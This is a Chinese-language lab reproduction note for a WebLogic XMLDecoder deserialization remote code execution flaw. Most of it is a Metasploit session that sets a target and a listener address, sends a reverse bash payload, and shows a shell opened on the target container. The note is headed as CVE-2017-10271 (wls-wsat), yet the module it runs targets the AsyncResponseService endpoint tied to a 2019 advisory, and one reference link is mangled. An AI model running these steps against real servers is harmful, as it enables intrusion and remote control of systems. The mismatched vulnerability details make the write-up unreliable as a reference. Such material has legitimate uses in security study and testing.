Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞（CVE-2017-10271）

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

参考链接：

https://www.exploit-db.com/exploits/43458/
https://paper.seebug.org/487/
https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md
http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html

漏洞复现：

msf5 > search weblogic_deserialize_asyncresponseservice                                                                                                    
                                                                                                                                                           
Matching Modules                                                                                                                                           
================                                                                                                                                           
                                                                                                                                                           
   #  Name                                                          Disclosure Date  Rank       Check  Description                                         
   -  ----                                                          ---------------  ----       -----  -----------
   0  exploit/multi/misc/weblogic_deserialize_asyncresponseservice  2019-04-23       excellent  Yes    Oracle Weblogic Server Deserialization RCE - AsyncResponseService 


msf5 > use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > show options 

Module options (exploit/multi/misc/weblogic_deserialize_asyncresponseservice):

   Name       Current Setting               Required  Description
   ----       ---------------               --------  -----------
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      7001                          yes       The target port (TCP)
   SSL        false                         no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /_async/AsyncResponseService  yes       URL to AsyncResponseService
   VHOST                                    no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix

msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set rhosts 192.168.3.5
rhosts => 192.168.3.5
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set lhost 192.168.0.14
lhost => 192.168.0.14
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > exploit 

[*] Started reverse TCP handler on 192.168.0.14:4444 
[*] Generating payload...
[*] Sending payload...
[*] Command shell session 1 opened (192.168.0.14:4444 -> 192.168.3.5:56352) at 2020-03-09 09:03:21 +0800

ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:19:00:02  
          inet addr:172.25.0.2  Bcast:172.25.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:368 errors:0 dropped:0 overruns:0 frame:0
          TX packets:315 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:53275 (53.2 KB)  TX bytes:157223 (157.2 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:12 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:628 (628.0 B)  TX bytes:628 (628.0 B)

其他资料：

https://cvedetails.com/cve/CVE-2017-10271/CNVD-C (2019-48814)
http://www.cnvd.org.cn/webinfo/show/4999
https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html
https://twitter.com/F5Labs/status/1120822404568244224